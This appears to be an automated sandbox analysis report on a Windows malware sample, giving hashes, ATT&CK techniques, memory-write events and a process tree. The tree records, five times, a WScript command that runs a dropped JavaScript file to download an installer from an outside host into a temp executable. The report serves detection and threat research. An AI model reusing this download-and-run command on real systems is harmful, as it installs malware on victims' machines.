0ed278adc9197c82ea5e2818b2c594c5319b48477b4b31013b62a8f2f40e4532

Analysis

max time kernel
93s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
15/05/2024, 08:14

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General

Target

454472490921081bf9510d4c445de56b_JaffaCakes118.exe
Size

184KB
MD5

454472490921081bf9510d4c445de56b
SHA1

f7e0de4544ff85b3e205043d0cd0eeba52f853bf
SHA256

0ed278adc9197c82ea5e2818b2c594c5319b48477b4b31013b62a8f2f40e4532
SHA512

f43f16b238187a67d789b3da0b24c243b80a6148f943454b4c9d694b7f474bdac0eb7dd7e10a41026fea1b1e995ed1b99bba92945201831dfed934046de1151e
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Q:/7BSH8zUB+nGESaaRvoB7FJNndn5

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
3	3360	WScript.exe
7	4280	WScript.exe
9	4916	WScript.exe
27	4696	WScript.exe
29	4884	WScript.exe
30	4884	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	454472490921081bf9510d4c445de56b_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings	454472490921081bf9510d4c445de56b_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1532 wrote to memory of 3360	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	83
PID 1532 wrote to memory of 3360	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	83
PID 1532 wrote to memory of 3360	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	83
PID 1532 wrote to memory of 4280	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	84
PID 1532 wrote to memory of 4280	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	84
PID 1532 wrote to memory of 4280	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	84
PID 1532 wrote to memory of 4916	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	85
PID 1532 wrote to memory of 4916	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	85
PID 1532 wrote to memory of 4916	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	85
PID 1532 wrote to memory of 4696	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	88
PID 1532 wrote to memory of 4696	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	88
PID 1532 wrote to memory of 4696	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	88
PID 1532 wrote to memory of 4884	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	89
PID 1532 wrote to memory of 4884	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	89
PID 1532 wrote to memory of 4884	1532	454472490921081bf9510d4c445de56b_JaffaCakes118.exe	89

C:\Users\Admin\AppData\Local\Temp\454472490921081bf9510d4c445de56b_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\454472490921081bf9510d4c445de56b_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1532
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4B90.js" http://www.djapp.info/?domain=tKmaUgCgwW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4B90.exe
  2⤵
  - Blocklisted process makes network request
  PID:3360
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4B90.js" http://www.djapp.info/?domain=tKmaUgCgwW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4B90.exe
  2⤵
  - Blocklisted process makes network request
  PID:4280
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4B90.js" http://www.djapp.info/?domain=tKmaUgCgwW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4B90.exe
  2⤵
  - Blocklisted process makes network request
  PID:4916
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4B90.js" http://www.djapp.info/?domain=tKmaUgCgwW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4B90.exe
  2⤵
  - Blocklisted process makes network request
  PID:4696
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4B90.js" http://www.djapp.info/?domain=tKmaUgCgwW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4B90.exe
  2⤵
  - Blocklisted process makes network request
  PID:4884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf4B90.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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